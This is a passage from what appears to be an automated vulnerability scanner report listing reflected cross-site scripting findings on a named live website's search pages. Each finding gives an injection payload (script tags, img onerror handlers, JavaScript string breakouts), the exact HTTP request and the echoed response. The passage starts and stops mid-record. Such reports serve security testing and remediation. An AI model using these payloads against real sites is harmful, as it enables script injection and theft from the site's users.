Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:20 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:21 GMT
Date: Thu, 10 Mar 2011 17:07:21 GMT
Content-Length: 21737
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
= Math.random() + '';
var ord = axel * 1000000000000000000;
var topic = dfpTopic;
var sbtpc = dfpSubTopic;
var dfpCat= '';
var cat = dfpCat;
var dfpKeyword = 'Organic Gardening6112c';1ee427fd91a';
var siteName = 'rodale';
var dfpTile='1';
var tile = dfpTile;
var useCAS = 'N';
// ]]>
...[SNIP]...

2.235. http://www.rodale.com/search/google_appliance/Organic+Gardening [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/search/google_appliance/Organic+Gardening

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aba43"><script>alert(1)</script>96c82f473a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /search/google_appliance/Organic+Gardening?aba43"><script>alert(1)</script>96c82f473a=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:22 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:36:24 GMT
Date: Thu, 10 Mar 2011 17:06:24 GMT
Content-Length: 30109
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/search/google_appliance/Organic+Gardening?aba43"><script>alert(1)</script>96c82f473a=1" title="Register" class="moreLink">
...[SNIP]...

2.236. http://www.rodale.com/search/google_appliance/Pesticides [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/search/google_appliance/Pesticides

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aee07"><a>1918113a743 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /searchaee07"><a>1918113a743/google_appliance/Pesticides HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:24 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:36:25 GMT
Date: Thu, 10 Mar 2011 17:06:25 GMT
Content-Length: 22539
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page searchaee07"><a>1918113a743 searchaee07">
...[SNIP]...

2.237. http://www.rodale.com/search/google_appliance/Pesticides [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/search/google_appliance/Pesticides

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 69b6d'><img%20src%3da%20onerror%3dalert(1)>a6a935840d4 was submitted in the REST URL parameter 2. This input was echoed as 69b6d'><img src=a onerror=alert(1)>a6a935840d4 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /search/google_appliance69b6d'><img%20src%3da%20onerror%3dalert(1)>a6a935840d4/Pesticides HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:13 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:15 GMT
Date: Thu, 10 Mar 2011 17:07:15 GMT
Content-Length: 23232
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href='/search/google_appliance69b6d'><img src=a onerror=alert(1)>a6a935840d4/Pesticides?filter=prevention.com'>
...[SNIP]...

2.238. http://www.rodale.com/search/google_appliance/Pesticides [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/search/google_appliance/Pesticides

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 62a87"><script>alert(1)</script>3c27c15e303 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /search/google_appliance62a87"><script>alert(1)</script>3c27c15e303/Pesticides HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:59 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:37:00 GMT
Date: Thu, 10 Mar 2011 17:07:01 GMT
Content-Length: 21773
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="/search/google_appliance62a87"><script>alert(1)</script>3c27c15e303/Pesticides" class="filters dottedLine">
...[SNIP]...

2.239. http://www.rodale.com/search/google_appliance/Pesticides [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/search/google_appliance/Pesticides

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4dc9d'%3bf3bd68c5ea4 was submitted in the REST URL parameter 3. This input was echoed as 4dc9d';f3bd68c5ea4 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /search/google_appliance/Pesticides4dc9d'%3bf3bd68c5ea4 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:19 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:20 GMT
Date: Thu, 10 Mar 2011 17:07:20 GMT
Content-Length: 21679
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
ar axel = Math.random() + '';
var ord = axel * 1000000000000000000;
var topic = dfpTopic;
var sbtpc = dfpSubTopic;
var dfpCat= '';
var cat = dfpCat;
var dfpKeyword = 'Pesticides4dc9d';f3bd68c5ea4';
var siteName = 'rodale';
var dfpTile='1';
var tile = dfpTile;
var useCAS = 'N';
// ]]>
...[SNIP]...

2.240. http://www.rodale.com/search/google_appliance/Pesticides [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/search/google_appliance/Pesticides

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 863f3"><script>alert(1)</script>acea286834a was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /search/google_appliance/Pesticides863f3"><script>alert(1)</script>acea286834a HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:17 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:37:18 GMT
Date: Thu, 10 Mar 2011 17:07:19 GMT
Content-Length: 21890
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/search/google_appliance/Pesticides863f3"><script>alert(1)</script>acea286834a" title="Register" class="moreLink">
...[SNIP]...

2.241. http://www.rodale.com/search/google_appliance/Pesticides [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/search/google_appliance/Pesticides

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 76721"><script>alert(1)</script>19056588a95 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /search/google_appliance/Pesticides?76721"><script>alert(1)</script>19056588a95=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:21 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:36:23 GMT
Date: Thu, 10 Mar 2011 17:06:23 GMT
Content-Length: 30065
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/search/google_appliance/Pesticides?76721"><script>alert(1)</script>19056588a95=1" title="Register" class="moreLink">
...[SNIP]...

2.242. http://www.rodale.com/search/google_appliance/Recipes [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/search/google_appliance/Recipes

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9e30f"><a>e9dddd19edb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /search9e30f"><a>e9dddd19edb/google_appliance/Recipes HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:37 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:36:40 GMT
Date: Thu, 10 Mar 2011 17:06:40 GMT
Content-Length: 22533
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page search9e30f"><a>e9dddd19edb search9e30f">
...[SNIP]...

2.243. http://www.rodale.com/search/google_appliance/Recipes [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/search/google_appliance/Recipes

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ccf70"><script>alert(1)</script>b5cc32bac was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /search/google_applianceccf70"><script>alert(1)</script>b5cc32bac/Recipes HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:17 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:19 GMT
Date: Thu, 10 Mar 2011 17:07:19 GMT
Content-Length: 21739
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="/search/google_applianceccf70"><script>alert(1)</script>b5cc32bac/Recipes" class="filters dottedLine">
...[SNIP]...

2.244. http://www.rodale.com/search/google_appliance/Recipes [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/search/google_appliance/Recipes

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 7a2d7'><img%20src%3da%20onerror%3dalert(1)>7fd5e4777af was submitted in the REST URL parameter 2. This input was echoed as 7a2d7'><img src=a onerror=alert(1)>7fd5e4777af in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /search/google_appliance7a2d7'><img%20src%3da%20onerror%3dalert(1)>7fd5e4777af/Recipes HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:31 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:33 GMT
Date: Thu, 10 Mar 2011 17:07:33 GMT
Content-Length: 23008
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href='/search/google_appliance7a2d7'><img src=a onerror=alert(1)>7fd5e4777af/Recipes?filter=prevention.com'>
...[SNIP]...

2.245. http://www.rodale.com/search/google_appliance/Recipes [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/search/google_appliance/Recipes

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 122c9"><script>alert(1)</script>184f4bed514 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /search/google_appliance/Recipes122c9"><script>alert(1)</script>184f4bed514 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:35 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:37:36 GMT
Date: Thu, 10 Mar 2011 17:07:37 GMT
Content-Length: 21866
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/search/google_appliance/Recipes122c9"><script>alert(1)</script>184f4bed514" title="Register" class="moreLink">
...[SNIP]...

2.246. http://www.rodale.com/search/google_appliance/Recipes [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/search/google_appliance/Recipes

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 38407'%3b6ad8596635d was submitted in the REST URL parameter 3. This input was echoed as 38407';6ad8596635d in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /search/google_appliance/Recipes38407'%3b6ad8596635d HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:37 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:38 GMT
Date: Thu, 10 Mar 2011 17:07:38 GMT
Content-Length: 21655
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
var axel = Math.random() + '';
var ord = axel * 1000000000000000000;
var topic = dfpTopic;
var sbtpc = dfpSubTopic;
var dfpCat= '';
var cat = dfpCat;
var dfpKeyword = 'Recipes38407';6ad8596635d';
var siteName = 'rodale';
var dfpTile='1';
var tile = dfpTile;
var useCAS = 'N';
// ]]>
...[SNIP]...

2.247. http://www.rodale.com/search/google_appliance/Recipes [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/search/google_appliance/Recipes

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ada9e"><script>alert(1)</script>7a30bbc3e23 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /search/google_appliance/Recipes?ada9e"><script>alert(1)</script>7a30bbc3e23=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:34 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:36:36 GMT
Date: Thu, 10 Mar 2011 17:06:36 GMT
Content-Length: 27696
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/search/google_appliance/Recipes?ada9e"><script>alert(1)</script>7a30bbc3e23=1" title="Register" class="moreLink">
...[SNIP]...

2.248. http://www.rodale.com/search/google_appliance/Stress [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/search/google_appliance/Stress

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2e8c0"><a>20b6d9814d2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /search2e8c0"><a>20b6d9814d2/google_appliance/Stress HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:18 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:36:19 GMT
Date: Thu, 10 Mar 2011 17:06:20 GMT
Content-Length: 22531
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page search2e8c0"><a>20b6d9814d2 search2e8c0">
...[SNIP]...

2.249. http://www.rodale.com/search/google_appliance/Stress [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/search/google_appliance/Stress

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1c71f"><script>alert(1)</script>58f86958fe6 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /search/google_appliance1c71f"><script>alert(1)</script>58f86958fe6/Stress HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:59 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:36:59 GMT
Date: Thu, 10 Mar 2011 17:07:00 GMT
Content-Length: 21749
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="/search/google_appliance1c71f"><script>alert(1)</script>58f86958fe6/Stress" class="filters dottedLine">
...[SNIP]...

2.250. http://www.rodale.com/search/google_appliance/Stress [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/search/google_appliance/Stress

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload a0ca9'><img%20src%3da%20onerror%3dalert(1)>9f420d22e30 was submitted in the REST URL parameter 2. This input was echoed as a0ca9'><img src=a onerror=alert(1)>9f420d22e30 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /search/google_appliancea0ca9'><img%20src%3da%20onerror%3dalert(1)>9f420d22e30/Stress HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:11 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:13 GMT
Date: Thu, 10 Mar 2011 17:07:13 GMT
Content-Length: 22620
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href='/search/google_appliancea0ca9'><img src=a onerror=alert(1)>9f420d22e30/Stress?filter=prevention.com'>
...[SNIP]...

2.251. http://www.rodale.com/search/google_appliance/Stress [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/search/google_appliance/Stress

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 82c49'%3b747acc1cf53 was submitted in the REST URL parameter 3. This input was echoed as 82c49';747acc1cf53 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /search/google_appliance/Stress82c49'%3b747acc1cf53 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
